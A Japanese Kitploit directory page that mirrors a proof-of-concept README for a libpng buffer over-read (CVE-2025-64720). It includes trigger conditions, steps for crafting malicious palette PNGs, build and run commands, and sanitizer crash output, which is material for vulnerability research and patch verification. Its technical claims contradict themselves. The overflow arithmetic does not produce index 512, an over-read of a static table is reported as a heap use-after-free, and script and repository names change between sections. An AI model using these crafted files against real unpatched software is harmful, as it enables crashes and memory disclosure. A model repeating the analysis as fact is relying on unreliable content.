Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64720-PoC — CVE-2025-64720の概念実証エクスプロイト。パレット事前乗算におけるlibpngバッファオーバーフロー。エクスプロイトジェネレータ、ASan/UBSanを使用したテストハーネス、ヒープ使用後解放の脆弱性の詳細な技術分析を含みます。 | Kitploit
ツール/GitHubGitHub/dantsco/cve-2025-64720-poc
メモリフォレンジック脆弱性分析エクスプロイトファジングバイナリ解析論文と研究学習と教育
GitHubdantsco/cve-2025-64720-poc

CVE-2025-64720-PoC

CVE-2025-64720の概念実証エクスプロイト。パレット事前乗算におけるlibpngバッファオーバーフロー。エクスプロイトジェネレータ、ASan/UBSanを使用したテストハーネス、ヒープ使用後解放の脆弱性の詳細な技術分析を含みます。

リポジトリを見る
238ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-64720: libpng パレット事前乗算におけるバッファオーバーフロー

ステータス: パッチ適用済み
深刻度: 高
CVE ID: CVE-2025-64720
発見日: 2025-11-XX
公開日: 2025-11-21

概要

要約

libpng の png_image_read_composite 関数に、PNG_FLAG_OPTIMIZE_ALPHA が有効なパレット画像を処理する際に、範囲外読み取りの脆弱性が存在します。png_init_read_transformations 内のパレット合成コードは、事前乗算中に背景合成を誤って適用し、簡易 PNG API が必要とする不変条件 component ≤ alpha × 257 に違反するため、メモリ破損を引き起こします。


脆弱性の詳細

根本原因

png_init_read_transformations の ~1336 行目で、パレット展開コードは以下を実行します:

root@kitploit:~
component += (255-alpha)*png_sRGB_table[outrow[c]];

この計算により component の値は最大 16,776,960 (0x1000800) になり、(component >> 15) == 512 となります。png_image_read_composite 内の後続の PNG_sRGB_FROM_LINEAR マクロが範囲外の配列アクセスを実行します:

root@kitploit:~
png_sRGB_base[component>>15]    // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)

この問題は以下の場合に発生します:

  1. PNG が透過情報 (tRNS チャンク) を持つパレットモード (カラータイプ 3) を使用している
  2. アプリケーションがアルファ対応フォーマットで簡易 API を使用している
  3. PNG_FLAG_OPTIMIZE_ALPHA が内部的に有効になっている
  4. パレット展開が背景合成を伴う事前乗算を実行している

影響を受けるコンポーネント

  • ファイル: pngread.c、pngtrans.c
  • 関数: png_image_read_composite、png_init_read_transformations
  • コードパス: 簡易 API → アルファ最適化を伴うパレット展開

不変条件の違反

root@kitploit:~
Expected: component ≤ alpha × 257
         Ensures (component >> 15) ≤ 511 (within array bounds)

Actual:   component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         With alpha=0, RGB=255: component can exceed expected bounds
         
Result:   (component >> 15) can equal 512 (out of bounds access)

影響を受けるバージョン

脆弱なバージョン

  • ソフトウェア: libpng
  • バージョン: 1.6.51 より前のすべてのバージョン
  • プラットフォーム: Linux、Windows、macOS、BSD など
  • アーキテクチャ: x86、x64、ARM、ARM64 など

パッチ適用済みバージョン

  • 最初のパッチ適用バージョン: 1.6.51
  • リリース日: 2025-11-21
  • パッチコミット: 08da33b

バージョン検出方法

root@kitploit:~
# Method 1: pkg-config
pkg-config --modversion libpng

# Method 2: Direct library query
libpng-config --version

# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h

技術的解析

攻撃ベクトル

攻撃者は、特定の特性を持つ悪意のある PNG ファイルを作成することで、この脆弱性を悪用できます:

  1. 攻撃の前提条件:

    • 対象アプリケーションが libpng < 1.6.51 を使用している
    • アプリケーションが簡易 PNG API (png_image_* 関数) を使用している
    • アプリケーションがアルファ対応の出力フォーマット (例: RGBA、ARGB) を要求している
  2. 攻撃手順:

    • tRNS チャンクを持つパレット PNG (カラータイプ 3) を作成する
    • パレットエントリを最大 RGB 値 (255, 255, 255) に設定する
    • 複数のパレットエントリのアルファ値をゼロに設定する
    • 被害者のアプリケーションがアルファフォーマットで PNG を処理する
    • PNG_FLAG_OPTIMIZE_ALPHA が内部的に有効になる
    • パレット展開が component の不変条件に違反する
    • 範囲外の配列アクセスが発生する
  3. 攻撃の結果:

    • png_sRGB_base または png_sRGB_delta からの範囲外読み取り
    • メモリ破損によるヒープ解放後使用 (use-after-free)
    • アプリケーションのクラッシュ (サービス拒否)
    • 範囲外読み取りによる潜在的な情報漏えい

メモリレイアウト

root@kitploit:~
┌─────────────────┐
│ png_sRGB_base   │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │  Potential information disclosure
└─────────────────┘

Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)

トリガー条件

必須条件:

  • PNG カラータイプ 3 (インデックス/パレット)
  • tRNS チャンクが存在する (透過情報)
  • tRNS チャンクにアルファ値 0 が含まれる
  • パレットの RGB 値が高い (特に 255, 255, 255)
  • 簡易 API の使用 (png_image_finish_read)
  • アルファ対応フォーマット (フラグ付きの PNG_FORMAT_ARGB、PNG_FORMAT_RGBA)

任意の要因:

  • PNG_FORMAT_FLAG_AFIRST 付きフォーマットはクラッシュの可能性を高める
  • より大きな画像はバグをトリガーする機会を増やす
  • アルファ値ゼロのパレットエントリが複数あると再現性が高まる

トリガーしない条件:

  • libpng >= 1.6.51 (パッチ適用済み)
  • 追加フラグなしの PNG_FORMAT_RGBA (安全な場合がある)
  • パレット以外のカラータイプ (RGB、グレースケールなど)
  • 透過情報のないパレット
  • すべてのアルファ値が 255 (完全に不透明)

概念実証 (PoC)

クイックスタート

root@kitploit:~
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

PoC コンポーネント

1. エクスプロイト生成器 (generate-images.py)

脆弱性をトリガーする悪意のある PNG ファイルを生成します。

使用方法:

root@kitploit:~
python3 generate_poc.py

出力:

  • exploit_v1.png - 8x8 画像、均一な白パレット、アルファ値ゼロ
  • exploit_v2.png - 8x8 画像、戦略的なパレット変更
  • exploit_v3.png - 64x64 画像、反復パターンを含む大型画像
  • exploit_v4.png - 4x4 画像、全アルファ値ゼロの最小ケース

オプション:

root@kitploit:~
# Generate specific variant
generate_malicious_png('custom.png', variant=2)

# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow

2. テスト (test.c)

簡易 API を使用して PNG ファイルを処理し、脆弱性を実証します。

コンパイル:

root@kitploit:~
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0

# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

機能:

  • 複数のアルファ対応フォーマット (RGBA、ARGB、LINEAR_RGB_ALPHA) をテスト
  • libpng のバージョンと脆弱性ステータスを表示
  • 検証用に最初のピクセル値を表示
  • 包括的なエラー処理

期待される出力

脆弱なバージョン (libpng 1.6.36) の場合:

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

パッチ適用済みバージョン (libpng >= 1.6.51) の場合:

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

影響

確認されている影響

  • サービス拒否 (DoS): 悪意のある PNG ファイルを処理するとアプリケーションが確実にクラッシュする
  • メモリ破損: 範囲外読み取りが内部状態を破壊し、ヒープ解放後使用 (use-after-free) を引き起こす
  • 情報漏えい: 範囲外読み取りによる隣接メモリ内容の漏えいの可能性

潜在的な影響

  • リモートコード実行 (RCE): メモリ破損を制御できれば理論上は可能だが、実証はされていない
  • ブラウザを介した悪用: 脆弱な libpng を使用する Web ブラウザは、悪意のあるサイトにアクセスするとクラッシュする可能性がある

段階的な再現手順

ステップ 1: エクスプロイトを生成

root@kitploit:~
python3 generate_poc.py

期待される出力:

root@kitploit:~
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

ステップ 2: テストをコンパイル

root@kitploit:~
chmod +x build.sh
./build.sh

期待される出力:

root@kitploit:~
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

ステップ 3: エクスプロイトを実行

root@kitploit:~
./test_asan exploit_v1.png

期待される結果 (脆弱な場合 - libpng 1.6.36):

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

期待される結果 (パッチ適用済み - libpng >= 1.6.51):

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]

代替テスト方法

Valgrind を使用する場合

root@kitploit:~
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

期待される出力 (脆弱な場合):

root@kitploit:~
==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

GDB を使用する場合

root@kitploit:~
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash

(gdb) bt
# Shows backtrace with png_safe_execute at top

(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash

LLDB を使用する場合 (macOS M1-M4)

root@kitploit:~
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash

(lldb) bt
# Shows backtrace

(lldb) register read
(lldb) memory read -c 32 -- $sp

参考情報

公式情報源

  • ベンダーアドバイザリ: http://www.libpng.org/pub/png/libpng.html
  • CVE エントリ: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
  • NVD エントリ: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
  • libpng ホームページ: http://www.libpng.org/pub/png/libpng.html

技術的詳細

  • バグレポート: https://github.com/pnggroup/libpng/issues/686
  • パッチコミット: https://github.com/pnggroup/libpng/commit/08da33b
  • プルリクエスト: https://github.com/pnggroup/libpng/pull/751
  • リリースノート: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

関連する脆弱性

  • CVE-2025-64505: 不正なパレットインデックスによる png_do_quantize() のヒープバッファオーバーフロー
  • CVE-2025-64506: png_write_image_8bit() のヒープバッファオーバーリード
  • CVE-2025-65018: png_combine_row() のヒープバッファオーバーフロー
  • CVE-2019-7317: png_image_free() の解放後使用 (use-after-free) (libpng < 1.6.37)

クレジット

発見者

  • Samsung-PENTEST - セキュリティ研究者
  • weijinjinnihao - セキュリティ研究者
  • yosiimich - セキュリティ研究者

分析と修正

  • Fabio Gritti (Artiphishell) - トリアージと分析
  • John Bowler - libpng 開発者、修正の貢献者
  • Cosmin Truta - libpng メンテナ、パッチ実装

テスト

  • truediogo - PoC の開発と検証

法的・倫理的考慮事項

免責事項

⚠️ 重要: この PoC は教育および研究目的でのみ提供されています。

  • このコードの利用目的:

    • セキュリティ研究
    • 自身が所有するシステムの脆弱性評価
    • 学術研究
    • 防御策の開発
    • パッチの検証
  • このコードの利用が想定されない目的:

    • システムへの不正アクセス
    • 悪意のある攻撃
    • 危害や損害の発生
    • 違法行為
    • 許可のない悪用

このコードを使用することで、以下に同意したものとみなされます:

  1. 自分が所有する、または明示的な書面によるテスト許可を得たシステムでのみ使用すること
  2. 適用されるすべての法律および規制を遵守すること
  3. 自身の行為に対して全責任を負うこと
  4. 誤用によって著作者に責任を負わせないこと
  5. 責任ある開示の慣行に従うこと
ツールをダウンロード